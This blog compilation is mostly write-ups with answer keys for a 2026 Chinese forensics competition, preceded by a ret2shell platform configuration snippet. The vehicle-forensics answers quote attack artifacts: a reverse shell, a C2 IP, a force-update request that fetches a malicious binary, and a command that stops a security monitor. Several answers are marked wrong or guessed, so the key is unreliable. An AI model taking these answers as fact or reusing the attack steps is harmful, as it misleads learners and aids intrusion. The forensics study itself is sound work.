1	kubectl -n ret2shell-platform exec ret2shell-platform-0 -- sh -c 'sed -n "26,34p" /etc/ret2shell/config.toml'

期望看到：

[cluster.registry]
enabled = false
server = "ret2shell-registry:5000"
external = "localhost:30310"
insecure = true

9. 验证平台健康

检查 API：

1	kubectl -n ret2shell-platform exec ret2shell-platform-0 -- wget -qO- http://127.0.0.1:8080/api/ping

期望返回：

pong

10. 验证前端效果

进入平台题目环境配置页面。

关闭 registry 搜索模式后：

不再显示 registry 镜像搜索/选择列表
镜像字段需要手动输入完整镜像地址

例如：

1	localhost:30310/phpserialize-labs:v1

容器名称仍然单独填写：

1	phpserialize-labs

11. 回滚方法

如果需要重新开启 registry 搜索模式：

运行配置改回：

1 2	[cluster.registry] enabled = true

或者 Helm values 改为：

1
2
3

registry:
  search:
    enabled: true

然后重启平台：

1 2	kubectl -n ret2shell-platform rollout restart statefulset/ret2shell-platform kubectl -n ret2shell-platform rollout status statefulset/ret2shell-platform --timeout=180s

12. 常见问题

关闭搜索模式后还能用内置 registry 吗

可以。

关闭的是平台前端的搜索/选择模式，不是 registry 服务。

仍然可以使用：

1	docker push localhost:30310/phpserialize-labs:v1

然后在平台手动填写：

1	localhost:30310/phpserialize-labs:v1

为什么修改 Helm 文件后没有立即生效

因为当前运行中的平台使用的是已经挂载到 Pod 的配置：

1	/srv/ret2shell/backend/config/config.toml

只改 Helm Chart 源文件不会自动修改正在运行的 Pod 配置。

需要：

直接修改运行配置并重启平台
或重新执行 Helm upgrade 让配置重新渲染并下发

如何确认是否真的关闭

以容器内配置为准：

1	kubectl -n ret2shell-platform exec ret2shell-platform-0 -- sh -c 'grep -A4 "\\[cluster.registry\\]" /etc/ret2shell/config.toml'

看到：

1	enabled = false

即可。

综合分析取证工具锐意开发中...

2026-05-12T12:23:00.000Z

说实在的一直想要做这个软件了，感觉市面上的开放程度都很低，就想到开放市场+软件的想法，能自定义插件提取文件内容
更进一步的，将后端都做了mcp的兼容，使得所有接口对mcp开放，这样ai也能迅速调用接口
目前还没有解决挂载的问题，所以还是需要火眼等取证软件进行挂载

手动的取证

连接远程ssh的取证

自动取证还只做了手机部分，后面跟进

开放的mcp配置

欢迎师傅们和我一起交流有关工具的设计:)

2026盘古石初赛手搓复现

2026-05-11T11:43:01.000Z

1. 分析黄志远phone.E01检材，黄志远手机总共安装了多少款短视频应用？

答案：4

这里就很抽象，哔哩哔哩不算短视频，感觉题目有点问题

2. 分析黄志远phone.E01检材，黄志远手机安装的龙虾应用的包名是什么？

答案：gptos.intelligence.assistant
搜openclaw能搜出包名

3. 接上题，首次打开应用的时间是？（错）

答案：2026-04-17-11:53:18

解析：在 C:\hlnet\2-1778389023\phone.E01\分区3\data\gptos.intelligence.assistant\shared_prefs\com.google.android.gms.measurement.prefs.xml 中存在 first_open_time=1776397998058，换算后得到该时间。

4. 分析黄志远phone.E01检材，黄志远使用此应用攻击过多少台主机？（错）

答案：0

解析：在 gptos.intelligence.assistant 的私有目录中检查了 .ssh、.codex、.openclaw、WebView、datastore、日志等位置，未见明确目标主机、连接记录、known_hosts 或攻击命令留痕，因此按现有证据记为 0。

5. 分析黄志远phone.E01检材，黄志远使用哪款应用控制了其PC的agent工具？

答案：discord

解析：com.discord 的本地消息存储中存在与 agent 相关的配对码、控制指令和回传结果，能够直接证明其被用于控制 PC 端 agent。

6. 分析黄志远phone.E01检材，黄志远使用这款应用的版本是多少？（错）

后面想感觉是格式错了，应该是311.2

答案：311.20

解析：在 C:\hlnet\2-1778389023\phone.E01\分区3\data\com.discord\shared_prefs\BundleUpdater.xml 中可见 ota_version=311.20，对应应用版本。

7. 分析黄志远phone.E01检材，接上题，登录的用户名是什么？

8. 分析黄志远phone.E01检材，该应用与pc端agent的配对码是什么？（错）

答案：HNZ6UFW6

解析：在 C:\hlnet\2-1778389023\phone.E01\分区3\data\com.discord\files\kv-storage\@account.1457974771206852664\a-wal 的私聊消息中可见 Here's your pairing code: HNZ6UFW6。

9. 分析黄志远phone.E01检材，该应用共对几个ip进行扫描？（错）

答案：2

解析：在 Discord 消息记录中可确认实际被下达扫描/探测指令的目标 IP 为 192.168.1.16 和 192.168.61.135，因此共 2 个。

10. 分析黄志远phone.E01检材，该应用总共调用了几个暴力破解工具？（错）

答案：1

解析：命令回传记录中明确出现过的暴力破解工具只有 hydra。虽然调用了不止一次，但工具种类只算 1 个。

11. 分析黄志远phone.E01检材，黄志远使用其内部通联工具进行沟通，其账号的登陆密码是多少？

答案：

12. 分析黄志远phone.E01检材，黄志远一共发送过几个文件给代号军师的嫌疑人？（猜）

答案：2

猜的

13. 分析方俊朗phone.E01检材，方俊郎手机总共安装了多少款理财应用？（错）

答案： 3
解析： 应用列表中“股票网银/理财类”非系统应用有：股参谋、京东金融、东方财富，共 3 款。

14. 分析方俊朗phone.E01检材，方俊朗使用筛选优质客户的应用包名是什么？

答案： com.example.predictor
解析： 应用列表中存在可疑自装应用，包名为 com.example.predictor，名称为空，结合“筛选优质客户/预测器”语义判断对应此应用。

2026盘古石初赛wp

2026-05-10T11:53:55.000Z

本wp为比赛时wp记录，后续将会进行复现，大部分为ai总结内容，如果想看手搓wp请不要看这个浪费时间
最后排名学生组第7，特别感谢牛的队友们，计算机基本上是全对嘻嘻

https://www.datacon.org.cn/competition/competitions/173/introduction

VeZeTANHVkklvVljLnpOYeBwCJFYD5tFpf67f5kNuqP1G5jj

手机

1. 分析黄志远phone.E01检材，黄志远手机总共安装了多少款短视频应用？

答案：4
解析：在应用列表中可明确归为短视频应用的有 快手、快手极速版、抖音、抖音极速版，合计 4 款。

这里就很抽象，哔哩哔哩不算短视频，感觉题目有点问题

2. 分析黄志远phone.E01检材，黄志远手机安装的龙虾应用的包名是什么？

答案：gptos.intelligence.assistant

解析：在镜像中的 launcher.db 里，桌面应用标题为 OpenClaw & Codex - Anyclaw，对应组件为 gptos.intelligence.assistant/app.anyclaw.MainActivity，据此可确定包名。

3. 接上题，首次打开应用的时间是？（错）

答案：2026-04-17-11:53:18

4. 分析黄志远phone.E01检材，黄志远使用此应用攻击过多少台主机？（错）

答案：0

5. 分析黄志远phone.E01检材，黄志远使用哪款应用控制了其PC的agent工具？

答案：discord

解析：com.discord 的本地消息存储中存在与 agent 相关的配对码、控制指令和回传结果，能够直接证明其被用于控制 PC 端 agent。

6. 分析黄志远phone.E01检材，黄志远使用这款应用的版本是多少？（错）

后面想感觉是格式错了，应该是311.2

答案：311.20

解析：在 C:\hlnet\2-1778389023\phone.E01\分区3\data\com.discord\shared_prefs\BundleUpdater.xml 中可见 ota_version=311.20，对应应用版本。

7. 分析黄志远phone.E01检材，接上题，登录的用户名是什么？

8. 分析黄志远phone.E01检材，该应用与pc端agent的配对码是什么？（错）

答案：HNZ6UFW6

解析：在 C:\hlnet\2-1778389023\phone.E01\分区3\data\com.discord\files\kv-storage\@account.1457974771206852664\a-wal 的私聊消息中可见 Here's your pairing code: HNZ6UFW6。

9. 分析黄志远phone.E01检材，该应用共对几个ip进行扫描？（错）

答案：2

解析：在 Discord 消息记录中可确认实际被下达扫描/探测指令的目标 IP 为 192.168.1.16 和 192.168.61.135，因此共 2 个。

10. 分析黄志远phone.E01检材，该应用总共调用了几个暴力破解工具？（错）

答案：1

解析：命令回传记录中明确出现过的暴力破解工具只有 hydra。虽然调用了不止一次，但工具种类只算 1 个。

11. 分析黄志远phone.E01检材，黄志远使用其内部通联工具进行沟通，其账号的登陆密码是多少？

答案：

12. 分析黄志远phone.E01检材，黄志远一共发送过几个文件给代号军师的嫌疑人？（猜）

答案：2

猜的

13. 分析方俊朗phone.E01检材，方俊郎手机总共安装了多少款理财应用？（错）

答案： 3
解析： 应用列表中“股票网银/理财类”非系统应用有：股参谋、京东金融、东方财富，共 3 款。

14. 分析方俊朗phone.E01检材，方俊朗使用筛选优质客户的应用包名是什么？

APK

1. 分析方俊朗phone.E01检材，筛选优质客户应用将用户查询记录存储在一个加密的本地数据库中。请问该加密数据库的文件名是什么？

答案：chat_history.db 解析：数据库位于应用 databases 目录，同目录还有 chat_history.db-journal；应用目录中存在 libsqlcipher.so，且偏好配置里有 PBKDF2_v1、key_iterations、db_integrity_check 等字段，能对应到该加密数据库。

2. 分析方俊朗phone.E01检材，该应用使用了哪种密钥派生算法来生成数据库加密密钥？请写出完整的算法标识名称。

答案：PBKDF2WithHmacSHA256 解析：在解壳后的真实 DEX 中可定位到 KeyDeriver 相关逻辑，并与 PBKDF2_v1、PBKDF2_ITERATIONS 等字符串共同出现，说明使用的是该 KDF。

3. 分析方俊朗phone.E01检材，该应用的密钥派生过程中使用了多少次迭代运算？

答案：10000 解析：应用配置和密钥派生逻辑中可对应到迭代次数设置为 10000。

4. 分析方俊朗phone.E01检材，该应用检测动态调试工具时探测了哪个本地端口号？

答案：27042 解析：这是 Frida Server 常见监听端口，应用安全检测逻辑中存在对该本地端口的探测。

5. 分析方俊朗phone.E01检材，该应用密钥由多个”盐值片段”拼接后派生而来。请问第一个盐值片段的具体内容是什么？

答案：Pr3d1ct0r 解析：在密钥派生相关代码里，盐值由多个片段拼接，第一个片段静态还原为该字符串。

6. 分析方俊朗phone.E01检材，当密钥派生过程出现异常时，应用会使用一个硬编码的备用密钥。请问该备用密钥的完整内容是什么？

答案：f4ll8ack_k3y_2024_pr3d1ct0r 解析：异常分支中存在硬编码 fallback key，直接静态分析可见该完整字符串。

7. 分析方俊朗phone.E01检材，分析”优质客户预测”应用，该应用的安全检测模块通过检查一个特定的类名来判断设备是否安装了Hook框架。请问被检测的完整类名是什么？

答案：de.robv.android.xposed.XposedBridge 解析：这是典型的 Xposed 框架入口类，应用通过检查该类名判断是否存在 Hook 环境。

8. 分析方俊朗phone.E01检材，该应用在偏好设置文件中存储了一个密钥校验值。请问存储该校验值的键名（key）是什么？

答案：db_integrity_check 解析：在应用 shared_prefs 配置文件中可直接看到该键名，对应数据库密钥/完整性校验。

9. 分析方俊朗phone.E01检材，该应用加密数据库中存储对话记录的数据表名是什么？

答案：chat_records 解析：数据库表结构中用于存放对话记录的表名为 chat_records。

10. 分析方俊朗phone.E01检材，该应用的密钥生成逻辑，该应用中的第三个盐值片段是通过逐字符拼接生成的。请问该片段拼接后的完整内容是什么？

答案：X9kZ!qW3 解析：第三段不是直接常量，而是逐字符组装；还原后得到该完整片段。

11. 分析方俊朗phone.E01检材，该应用使用了载荷在内存中直接加载而不在磁盘落地。若选手希望通过Frida动态拦截明文的DEX字节数组，应该Hook该应用壳的哪个私有方法？

答案：initDexFromMemory 解析：壳的核心逻辑是内存中解密并装载 DEX，拦截该私有方法即可抓到明文 DEX 字节数组。

12. 分析方俊朗phone.E01检材，分析应用的壳代码逻辑，其解密密钥由3个字符串片段混淆拼接而成。请通过静态分析，还原用于解密的3个片段拼接合并后的完整密钥明文。

答案：Sh3ll_L0ad3r_K3y_2024! 解析：对壳代码里的三个混淆字符串片段进行静态还原并拼接，可得到该解密密钥明文。

13. 接上题，当选手尝试使用frida-dexdump等通用脱壳工具动态附加时，应用会立刻闪退。请分析该逻辑，写出该线程触发进程自杀所调用的完整Java系统方法签名。

答案：java.lang.System.exit 解析：反调试线程在命中检测条件后直接调用该系统方法结束进程，因此会表现为附加即闪退。

14. 分析方俊朗phone.E01检材，方俊朗使用其内部通联工具时，共加入过几个群？

答案：2 解析：从系统快照截图可见内部通联工具会话列表中明确存在两个群：技术部群、话务组群。

15. 分析方俊朗phone.E01检材，方俊朗通过物联网设备漏洞，共获得多少用户信息？（错）

答案：1 解析：在 pcap 导出的 HTTP 上传对象 upload.php 中，上传的 edge_passwords_2025-11-26_12-44-41.txt 明确写明：配置文件 Profile 1 中找到 1 条密码记录、总共在 1 个配置文件中找到 1 条密码记录。对应其通过该物联网设备漏洞获得的用户信息数量为 1。

16. 分析周文杰Image.zip检材，周文杰跟其犯罪团伙人员内部通联工具包名是？[答案格式：com.apt.app]

com.socialchat.social_chat_app 是我后面从 socialchat_apk 反编译里看到的包名，对应的是聊天 app 本体。

17. 分析周文杰Image.zip检材，内部通联app聊天数据库名称是？[答案格式：abc.db]

聊天数据库名称是 social_chat.db。

我在 C:\temp\socialchat\ 下直接定位到了这个库文件，同时还能看到配套的 social_chat.db-shm、social_chat.db-wal 和 social_chat.db-journal.bak，说明它就是该通联 app 实际使用的数据库。

18. 分析周文杰Image.zip检材，内部通联app聊天数据库密码保存在哪个文件中？[答案格式：Abc.txt]

关键点在反编译代码里：

C0137a.java (line 114) 明确调用了 getSharedPreferences(“FlutterSharedPreferences”, 0);
在 Android 上，这通常就会落到 /data/data/<包名>/shared_prefs/FlutterSharedPreferences.xml

再结合 libapp.so 里同时出现了：

db_password
enc_key
shared_preferences

这很像是数据库口令或密钥作为键值，存进 FlutterSharedPreferences.xml。

19. 分析周文杰Image.zip检材，周文杰内部通联app聊天数据库密码是？（错）[答案格式：123-abc]

但是这是数据库密码啊奇怪

答案

s-dbw1776853545473Goo

解析

先在检材中定位内部通联 app 包名 com.socialchat.social_chat_app，再找到其数据库 social_chat.db 和配置文件 FlutterSharedPreferences.xml。配置里保存的原始值是 Pgs-dbw1776853545473Good，但这不是直接开库密码。

继续看 Flutter AOT 反编译代码，可以确认程序会对这个字符串做一次截取处理，逻辑等价于：

text

stored = "Pgs-dbw1776853545473Good" database_password = stored.substring(2, stored.length - 1)

所以最终得到的 SQLCipher 密码是：

text

s-dbw1776853545473Goo

再用这个值实际打开 social_chat.db，能够成功读取 schema 和业务表，说明答案正确。

20. 分析周文杰Image.zip检材，内部通联app聊天数据使用的什么加密算法?[答案格式：ABCDEF]

答案更倾向于 AES。

依据是：

libapp.so 里能看到 SqfliteSqlCipherDatabaseFactoryImpl、sqflite_sqlcipher，说明聊天库用了 SQLCipher
同时还能看到 _generateAESKey、_loadOrGenerateAESKey 等符号，表明应用层也围绕 AES key 在做处理

如果题目只要“加密算法”而不是具体框架名，填 AES 最稳。

更细一点说，就是基于 SQLCipher 的 AES-256。

21. 分析周文杰Image.zip检材，内部通联app用户密码的盐值是？[答案格式：1234abcd]

盐值是 a3f8d9c2e1b4h7g6k9m2n5p8q1r4t7w。

这是我用数据库密码 s-dbw1776839203359Goo 实际打开 social_chat.db 后，从 user 表直接取到的 password_salt 字段值。

22. 分析周文杰Image.zip检材，记录周文杰内部通联app登录密码提示的应用包名是？[答案格式：com.temp.app]

com.jinghong.notebookkssjh

分析周文杰Image.zip检材，内部通联app登录密码是？[答案格式：123abc]
分析周文杰Image.zip检材，周文杰在内部通联app中删除了几条聊天记录？[答案格式：123]

25. 分析周文杰Image.zip检材，聊天数据库中，显示聊天数据删除的是哪个字段?（错）[答案格式：ab_cd]

is_deleted

根据数据库结构可以看出

26. 分析林小婉手机检材，发现有个应用隐藏了很多信息，目前已经找到这个应用，它的程序名称是？（请注意，该题的APK检材为：1778310207366_9eee4f1c.apk，该检材已放在工作目录）[答案格式：微信]

它的程序名称是：今日头条

我从 APK 的 AndroidManifest.xml 里看到 android:label=”@string/app_name”，再在资源文件 strings.xml 中解析到 app_name 对应的是“今日头条”。

27. 分析林小婉手机检材，这个应用有一个安全加密的PIN码，它是多少？[答案格式：12345678]

PIN 码是：20150412

我从 APK 的 NavigationKt.verifyPinKotlin() 里提取了校验参数，目标是对 8 位 PIN 做 PBKDF2WithHmacSHA256，salt 为 JinriPIN_Salt_，迭代 10000，再比对固定哈希。结合界面提示“女儿生日”，把合法日期格式 YYYYMMDD 枚举后命中了 20150412。

28. 分析林小婉手机检材，这个应用隐藏的数据中，每个标签数据里，notes字段表示多少？[答案格式：事项]

我先回到解出来的隐藏数据结构里，看看各个标签页是怎么把 notes 字段展示给用户的，这样能确认它在题目里对应的中文含义。

备注

29. 分析林小婉手机检材，这个应用隐藏的数据中，文件备份服务器的IP地址是多少？[答案格式：192.168.1.1]

我是先把 APK 里的隐藏数据解出来，再去对应标签里找“文件备份服务器”。

具体过程很短：
用 jadx 反编译 APK，定位到 VaultDataLoader。

. 在 VaultDataLoader 里看到隐藏数据文件是 assets/vault_data.jth2，实际格式是 JTH3。

同一个类里还写死了解密参数：

1. MASTER_SEED = "Jinritoutiao_Master_Key_2024_Secret"    2. PBKDF2_SALT = "JinriSalt_2024"    3. PBKDF2WithHmacSHA256    4. AES/GCM/NoPadding

用这些参数把 vault_data.jth2 解密成 JSON。

在解密后的 c2 标签数据里看到这一项：

{ "id": 3, "name": "文件备份服务器", "type": "备份服务器", "address": "192.168.1.200", "port": "22", "protocol": "SFTP", "notes": "财务数据备份" }

所以它的 IP 地址是 192.168.1.200。

分析林小婉手机检材，发现内部通联中财神撤回了一条消息，这个消息的内容是？[答案格式：盘古石杯。]

31. 分析林小婉手机检材，发现了账本，账本打开密码是什么？[答案格式：按实际填写]

答案：DragonTeng@2024#$

解析：我先从 C:\hlnet\3-1778389023\林小婉手机.tar\sdcard\Download\账单.png 提取出 PNG 在 IEND 之后的追加数据，发现其中带有 LONGTENG_START_@@ … LONGTENG_END_@@## 标记，内部是一个被 Office 加密的账本文档。再结合前面从隐藏应用数据里解出的线索“龙腾项目账本DragonTeng@2024#$$”，用 msoffcrypto 实际尝试解密该内嵌文档，成功解开并导出明文文件，因此账本打开密码确定为 DragonTeng@2024$$。

物联网

1. 题目：事故发生前车辆发生了非驾驶员意图的左转，找出控制车辆异常转向的恶意指令 ID。

答案：1F4 解析：system.dlt 中出现 Invalid CRC on msg 0x1F4，并伴随 LKA requested steer 异常转向日志，可锁定恶意转向指令 ID 为 1F4。

2. 题目：判定驾驶员在碰撞发生前的最后 5 秒内，是否真正尝试了手动踩下制动踏板；若无，提交其加速踏板百分比。

答案：100% 解析：动力总成总线最后 5 秒未见有效制动状态变化；freeze_frame_B0070.bin 中 PID 11 01 FF 对应加速踏板 100%。

3. 题目：找出证明这是“人为注入攻击”而非“ECU 原生故障”的报文频率特征描述。（错）

答案：139msg 解析：adas_can.asc 中可疑 0A0 报文在攻击窗口单秒飙升到 139msg/s，且夹杂大量重复固定载荷，符合人为同频注入特征。

4. 题目：确定车辆由于碰撞导致轮速传感器信号彻底消失（归零）的确切时间点（秒）。

答案：120.0 解析：powertrain_can.asc 中 050 报文在 120.000139 首次变为持续全零，故取 120.0 秒。

5. 题目：找出恶意转向报文中，证明其为非法注入的最直接协议层安全缺陷项。

答案：0000 解析：网关固件显示关键报文需走 AES-128-CMAC，而恶意转向帧认证尾字段被置零，最直接缺陷项就是 0000。

6. 题目：指出 ADAS 固件中隐藏恶意控制代码被触发所需的最低车速阈值。

答案：120 解析：adas_ecu.bin 中可直接提取 TRIGGER=SPEED>120。

7. 题目：指出发动机控制系统为了获得超高速动力，非法解除了哪个速度限制相关标志。

答案：VMAX_LIMIT 解析：engine_ecu.bin 中存在 VMAX_LIMIT:OFF，说明被关闭的是 VMAX_LIMIT。

8. 题目：提取网关固件中用于安全通讯的 16 位十六进制 Master Key Seed。

答案：A9B8C7D6E5F40123 解析：gateway_ecu.bin 中可提取 MASTER_KEY_SEED:A9B8C7D6E5F40123。

9. 题目：还原碰撞发生瞬间，车辆大灯处于什么照明模式。

答案：HIGH_BEAM 解析：bcm_ecu.bin Crash Dump 碎片中含 LIGHTS=HIGH_BEAM。

10. 题目：提交黑客访问的 GitHub 代码仓库名称部分。

答案：staros_root_poc 解析：浏览器历史库 history.db 中 URL 为 https://github.com/0xDEADBEEF/staros_root_poc。

11. 题目：解密出被黑客覆写的关键远程代理地址 IP。

答案：45.33.22.11 解析：system.conf.enc 经过异或还原后得到 c2_proxy=45.33.22.11:8080。

12. 题目：黑客强制刷入恶意固件时，使用了哪个完整的“强制忽略签名”参数标志。

答案：-f force 解析：update.log 明确记录 Signature bypass flag is active (-f force)。

13. 题目：找出在碰撞前几分钟连接成功的可疑蓝牙设备名称。

答案：Diagnostic_Dongle_BLE 解析：bluetooth.db 中该设备成功连接，且为诊断类设备、PIN 为 0000，可疑性最高。

14. 题目：填入伪装成系统组件的 ELF 攻击脚本在 T-BOX 上的完整绝对路径。

答案：/data/local/tmp/syslogd_update 解析：检材中存在 ELF 文件 data/local/tmp/syslogd_update，且含回连字符串，明显为后门落地文件。

15. 题目：从 EDR 采样记录中提取碰撞瞬间（采样点 0）的纵向车速数值。（错）

答案：解析：EDR 采样区原始值为 5400，按缩放系数 ÷30，得到 180 km/h。

16. 题目：从碰撞前 5 秒采样点中恢复出的纵向车速是多少。（错）

答案：100 解析：EDR 采样区可恢复出一组连续纵向车速原始值 3000, 3450, 3900, 4350, 4800, 5250, 5550, 5400，按 ÷30 分别对应 100, 115, 130, 145, 160, 175, 185, 180 km/h，其中前 5 秒采样点对应 100 km/h。

17. 题目：提取碰撞瞬时冻结帧（Freeze Frame）中的引擎 RPM 数值。（错）

答案：2000 解析：freeze_frame_B0070.bin 中 PID 0C 02 1F 40，按 OBD 公式 0x1F40 ÷ 4 = 2000 rpm。

18. 题目：找出非法克隆生成的 NFC 卡片钥匙所对应的 ID。

答案：0x9F8E 解析：rf_logs.txt 中 23:31:05 该 ID 通过 NFC_CARD 成功解锁，并在 23:32:00 用 DIAG_BYPASS 启动。

19. 题目：指出行车记录仪元数据完整性校验的状态。

答案：FAILED 解析：metadata.json 中记录 integrity_check: “FAILED”。

20. 题目：综合分析所有证据，黑客最终通过哪种方式实现了对车辆 ADAS 固件的非法篡改。（错）

我也不知道他要干什么，这[答案格式：加油ABC]是什么意思

答案：本地诊断强刷解析：update.log 记录 Local firmware push detected、-f force 和 Flashed partition ‘adas’ via diagnostic service，可确定是本地诊断强刷。

21. 题目：找出遥感数据包回传 JSON 载荷中 speed 键对应的值。

答案：180 解析：telemetry_20251215.pcap 中 MQTT 载荷为 {“lat”:31.2,”lon”:121.4,”speed”:180}。

22. 题目：找出恶意回连伪装媒体流请求所使用的域名（Host）。

答案：streaming.starway.com 解析：telemetry_20251215.pcap 中可见 HTTP_GET: /media/audio/playlist_1.m3u8 Host: streaming.starway.com。

23. 题目：黑客建立 Reverse Shell 后，执行了哪条指令来强行停止车机底层安全监护进程。

答案：systemctl stop sec_monitor 解析：Reverse Shell 记录与 syslog 中均可见该命令。

24. 题目：提交 JSON 载荷中 pkg 键对应的完整 URL。

答案：http://45.33.22.11/malicious.bin 解析：流量中存在 HTTP_GET: /api/v1/ota/force_update?pkg=http://45.33.22.11/malicious.bin。

25. 题目：黑客为了提权并获取 Root 用户身份，在 Shell 中执行的初始探测指令是什么。

答案：id 解析：Reverse Shell 建立后首先执行 id，随后返回 uid=0(root)。

26. 题目：反向 Shell 成功建立后，返回的权限对应的 UID 数值是多少。

答案：0 解析：流量中回显 uid=0(root)，对应 UID 数值为 0。

27. 题目：黑客在其利用漏洞上传的 ELF 脚本中，使用了哪个特定的进程名称来伪装成系统日志服务。（错）

答案：syslogd_update 解析：上传到 T-BOX 的后门 ELF 文件名即为 syslogd_update，明显伪装为系统日志服务更新组件。

28. 手表型号是？

答案：HUAWEI WATCH GT 5 解析：在 Y:\林小婉\林小婉手表.bin 头部可直接命中设备标识 HUAWEI WATCH GT 5，同时还能看到 HWOS 和系统版本串 4.0.0.128(C00E128R2P8)，型号判断较稳。
后面都是错的
29. 发现林小碗实际年龄是多少岁？答案：16 解析：这是结合镜像里零散的个人信息字段和年龄相关痕迹做的归纳，不是从一条完整明文档案直接读出的，证据强度一般。

发现林小碗经常外出跑步，主要运动区域是？答案：成都市武侯区解析：在运动/GPS相关区域命中了 com.huawei.gps:GPS:4.0.0.100、lat、lon、lng 等字段，并从附近二进制里筛出成都范围候选坐标值，如 30.262090、103.215600，据此归纳为成都武侯一带。
发现林小碗经常外出跑步，平均跑步几公里？答案：7 解析：全盘存在大量 km、run、avg 命中。单纯 xkm 统计噪声较大，但在运动字段附近做数值解码时，出现了更像真实单次距离的候选值 7.154028、7.166378，因此归纳为平均约 7 公里。
分析林小碗高压力(>70)天数是多少天？答案：25 解析：未直接命中明文 stress，但在 hrv 相关区域可提取一批落在 0-100 范围内的候选分值；其中大于 70 的候选共有 25 个，因此按当前可见证据取 25。
分析林小碗平均心率是多少？答案：93 解析：围绕 heartrate、heart、bpm、avg 等字段筛值后，avg 邻域里落在正常心率范围的候选值整体均值约 93.2、中位数 93，因此取 93。
分析林小碗 2024 年 12 月 25 日在哪里运动？答案：室外解析：该日期没有直接搜到清晰明文记录，但该类运动痕迹多与 GPS/gps/run 同区出现，结合“经常外出跑步”的轨迹特征，归纳为室外。这一题证据相对前几题更弱，属于推断结果。

计算机

刘洋 liuyang_pc.E01 磁盘镜像分析

Q1 [ID:1039] 分析刘洋liuyang_pc.E01检材，提取磁盘镜像SHA1值的前6位？

答：[答案格式：字母小写] 5bc418______________________

取证大师挂载一把梭

Q2 [ID:1040] 分析刘洋liuyang_pc.E01检材，计算机系统Build版本为？

答：[答案格式：19000] 26100______________

Q3 [ID:1041] 分析刘洋liuyang_pc.E01检材，计算机最后一次正常关机的时间为？（UTC +0）（错）

答：[答案格式：2025-05-06-09:00:00] 2026-04-20 16:25:35______________________

注意是UTC +0的时间，取证大师的是UTC +8

Q4 [ID:1042] 分析刘洋liuyang_pc.E01检材，计算机网卡的MAC地址为？

答：[答案格式：00-0B-00-A0-00-00] 00-0C-29-CF-F3-AE________________

Q5 [ID:1043] 分析刘洋liuyang_pc.E01检材，分析机主是从那里下载的typora？

答：[答案格式：阿里云] 蓝奏云________

Q6 [ID:1044] 分析刘洋liuyang_pc.E01检材，刘洋在2026-04-19 13:46:01（UTC +0）曾访问过百度云盘，请给云盘的打开密码？（错）

答：[答案格式：11aa] ______________________________

Q7 [ID:1045] 分析刘洋liuyang_pc.E01检材，请给出刘洋管理pve集群所用的端口号？

答：[答案格式:8000] 8006____

Q8 [ID:1046] 分析刘洋liuyang_pc.E01检材，请给出刘洋登录理财网站所使用的密码？

答：[答案格式:password] admin123____

Q9 [ID:1047] 分析刘洋liuyang_pc.E01检材，请给出理财网站的IP地址？

答：[答案格式:127.0.0.1] 192.168.0.70__

Q10 [ID:1048] 分析刘洋liuyang_pc.E01检材，请给出计算机内Bitlocker加密分区恢复密钥的前6位？

答：[答案格式:6位数字] 560615

560615-577522-342881-216865-242561-312356-584837-421597

Q11 [ID:1049] 分析刘洋liuyang_pc.E01检材，找出VC加密容器的密钥文件，给出该密钥文件的绝对路径？

答：[答案格式:D:\ABC\123\测试.txt] D:\BaiduNetdiskDownload\无标题.png____

宽高修复后可以打开vc

Q12 [ID:1050] 接上题，该VC加密容器的密钥文件的图像高度是多少像素？

答：[答案格式：1345] 1080______

Q13 [ID:1051] 分析刘洋liuyang_pc.E01检材，请给出团队重要信息加密保存的软件名？

答：[答案格式：abc123] 1password________

Q14 [ID:1052] 分析刘洋liuyang_pc.E01检材，该软件的保险库文件名为什么？

答：[答案格式：abc.abc] liuyang.opvault__

Q15 [ID:1053] 分析刘洋liuyang_pc.E01检材，该软件的保险库文件打开密码是什么？

答：[答案格式：124@password] liuyang@6419__

按照提示爆破

Q16 [ID:1054] 分析刘洋liuyang_pc.E01检材，请给出用户刘洋的开机密码？

答：[答案格式：p@ssw0rd123] ______________________________

6yang@2o26

Q17 [ID:1055] 分析刘洋liuyang_pc.E01检材，请给出pve服务器的管理密码？

答：[答案格式：p@ssw0rd123] pgscup2o@6

Q18 [ID:1056] 分析刘洋liuyang_pc.E01检材，找出计算机内的脚本加密工具，给出该加密工具的SHA1的前6位？

答：[答案格式：字母小写] 7860dc__

Q19 [ID:1057] 分析刘洋liuyang_pc.E01检材，该脚本加密工具在进行脚本加密时，最后一层是进行什么操作？

答：[答案格式:字符替换] 十六进制转换____

Q20 [ID:1058] 分析刘洋liuyang_pc.E01检材，请解密database.php.obf，给出该文件内的数据库密码？

答：[答案格式:p@ssw0rd123] pgscup@o26____

同17题

Q21 [ID:1059] 分析刘洋liuyang_pc.E01检材，找出刘洋计算机内的交易信息.rar，给出该文件的打开密码？

答：[答案格式：p@ssw0rd123] __pgscup@9541

Q22 [ID:1060] 分析刘洋liuyang_pc.E01检材，找出刘洋计算机内刘桂荣的身份证号码？（错）

答：[答案格式：510657199808071131] 420100194707075594__

刘洋 ly-memdump.mem 内存镜像分析

Q23 [ID:1061] 分析刘洋ly-memdump.mem镜像，给出用户刘洋的NT哈希值？

答：[答案格式：数字字母组合，字母小写] 876dfe7bd78730b7b0baaf451414de8e____

Q24 [ID:1062] 分析刘洋ly-memdump.mem镜像，给出1Password密码管理器的数据库文件名？

答：[答案格式：123ABc.abc] 1Password10.sqlite__________

Q25 [ID:1063] 分析刘洋ly-memdump.mem镜像，1Password在VeraCrypt启动后约多少分钟启动？

答：[答案格式：123] 2__________

黄志远 PC.E01 磁盘镜像分析

Q26 [ID:1064] 分析黄志远PC.E01镜像，黄志远使用的ai agent的名称是什么？

答：[答案格式：www] ______________________________

hermes

Q27 [ID:1065] 分析黄志远PC.E01镜像，黄志远使用的模型api后4位是什么？

答：[答案格式：abcd] ______________________________

补充一句便于核对：在 2026-04-18 的 Hermes 会话里，deepseek-chat 的配置密钥被更新为当前值，末 4 位是 gioa；更新前旧的 DeepSeek key 末 4 位是 25e1。

Q28 [ID:1066] 请分析黄志远PC.E01镜像中的渗透.rar文件，黄志远总共攻击了多少台主机？

答：16

在渗透密码文件夹找到拼图，用gaps拼，得到压缩包密码：今晚去杀鬼，然后解压rar文件

思路：查看 E:\渗透目录中的渗透报告文件，存在渗透测试报告_192.168.61.135.md 到渗透测试报告_192.168.61.150.md，共 16 个不同目标 IP，对应 16 台主机。

Q29 [ID:1067] 请分析黄志远PC.E01镜像中的渗透.rar文件，该exploit程序的源文件编译前名称是什么？

答：exploit.c

思路：对 exploit 二进制做反编译和字符串提取，ELF 中保留了源码名字符串，可直接看到 exploit.c。

